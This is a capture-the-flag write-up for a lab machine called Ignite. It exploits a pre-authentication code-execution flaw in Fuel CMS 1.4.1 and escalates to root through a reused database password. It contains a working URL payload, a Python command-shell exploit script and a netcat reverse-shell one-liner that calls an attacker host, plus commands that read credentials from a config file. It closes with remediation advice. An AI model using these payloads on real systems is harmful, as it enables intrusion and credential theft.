← Back to all writeups
CTFroomEasy / IntermediateOS: Linux (Ubuntu 18.04)Target IP: 10.10.210.45

CTFroom: Ignite — Exploiting Fuel CMS 1.4.1 RCE & Root Escalation

Exploiting a pre-auth remote code execution vulnerability in Fuel CMS 1.4.1 (CVE-2019-14322) via PHP evaluation, locating hardcoded database root credentials in configuration files, and escalating to root.

Published: 2026-03-01·Est. 9 min read·Author: GomezGani Shaba
Fuel CMSCVE-2019-14322RCECleartext Password ExposureLinux PrivEsc

Challenge Overview

The Ignite machine features a default installation of Fuel CMS version 1.4.1. This walkthrough demonstrates identifying outdated software versions, leveraging public CVE exploits for initial access, and conducting post-exploitation credential harvesting in application configuration files.


Phase 1: Reconnaissance & Fingerprinting

We perform an initial TCP port scan:

bashterminal / script
nmap -sV -sC -p- --min-rate 3000 -oN nmap_ignite.txt 10.10.210.45

Only port 80 (HTTP Apache 2.4.29) is open. Visiting http://10.10.210.45/, the landing page clearly displays:

Welcome to FUEL CMS — Version 1.4.1

The default landing page also helpfully mentions default credentials for the administrator panel (/fuel):

  • Username: admin
  • Password: admin

  • Phase 2: Vulnerability Analysis (CVE-2019-14322)

    Researching Fuel CMS 1.4.1 reveals CVE-2019-14322, a critical pre-authentication Remote Code Execution vulnerability in the pages/select controller. The vulnerability exists because user-controlled input in the URL parameter is evaluated directly through PHP's template engine:

    httpterminal / script
    GET /fuel/pages/select/?filter=%27%2bpi(print(%24a%3d%27system%27))%2b%24a(%27<COMMAND>%27)%2b%27 HTTP/1.1
    Host: 10.10.210.45

    We can write a concise Python exploit script to give us an interactive command shell:

    pythonterminal / script
    import requests
    import urllib.parse
    
    TARGET = "http://10.10.210.45/fuel/pages/select/?filter="
    
    def exec_cmd(cmd):
        payload = f"'+pi(print($a='system'))+$a('{cmd}')+'"
        encoded = urllib.parse.quote(payload)
        res = requests.get(TARGET + encoded)
        output = res.text.split("<div")[0].strip()
        return output
    
    while True:
        cmd = input("fuel_cmd> ")
        if cmd == "exit": break
        print(exec_cmd(cmd))

    Executing id reveals we are running as www-data.


    Phase 3: Foothold & TTY Shell Upgrade

    We establish a stable reverse shell using Netcat:

    bashterminal / script
    # On our attacker machine:
    nc -lvnp 9001
    
    # In our exploit shell:
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.x.x 9001 >/tmp/f

    We stabilize the shell:

    bashterminal / script
    python3 -c 'import pty; pty.spawn("/bin/bash")'
    # Background shell with Ctrl+Z
    stty raw -echo; fg
    reset
    export SHELL=bash

    We navigate to the user's home directory and retrieve the user flag:

    bashterminal / script
    cat /home/rick/flag.txt

    Phase 4: Privilege Escalation via Database Config

    During Linux post-exploitation enumeration, web application configuration files should always be inspected for hardcoded credentials. In Fuel CMS (CodeIgniter framework), database configurations are stored in fuel/application/config/database.php:

    bashterminal / script
    cat /var/www/html/fuel/application/config/database.php

    Examining the database connection settings:

    phpterminal / script
    $db['default'] = array(
        'dsn'   => '',
        'hostname' => 'localhost',
        'username' => 'root',
        'password' => 'mememe',
        'database' => 'fuel_schema',
        'dbdriver' => 'mysqli',
    ...

    Notice the credentials:

  • Username: root
  • Password: mememe
  • We test whether this password was reused for the Linux system root account:

    bashterminal / script
    su - root
    Password: mememe
    whoami
    # Output: root

    Password reuse is confirmed. We are root. We read the final root flag at /root/root.txt.


    Remediation Recommendations

  • Patch Outdated Web Frameworks: Update Fuel CMS to version 1.4.3 or higher where input sanitization prevents arbitrary code execution in the view renderer.
  • Eliminate Password Reuse: Administrative database credentials should never match system user or root credentials.
  • Restrict File Permissions on Configs: Configuration files containing credentials should be readable only by dedicated application service users (e.g., chmod 640 owned by www-data:www-data).
  • CTFroom: Ignite — Exploiting Fuel CMS 1.4.1 RCE & Root Escalation | Security Writeups | GomezGani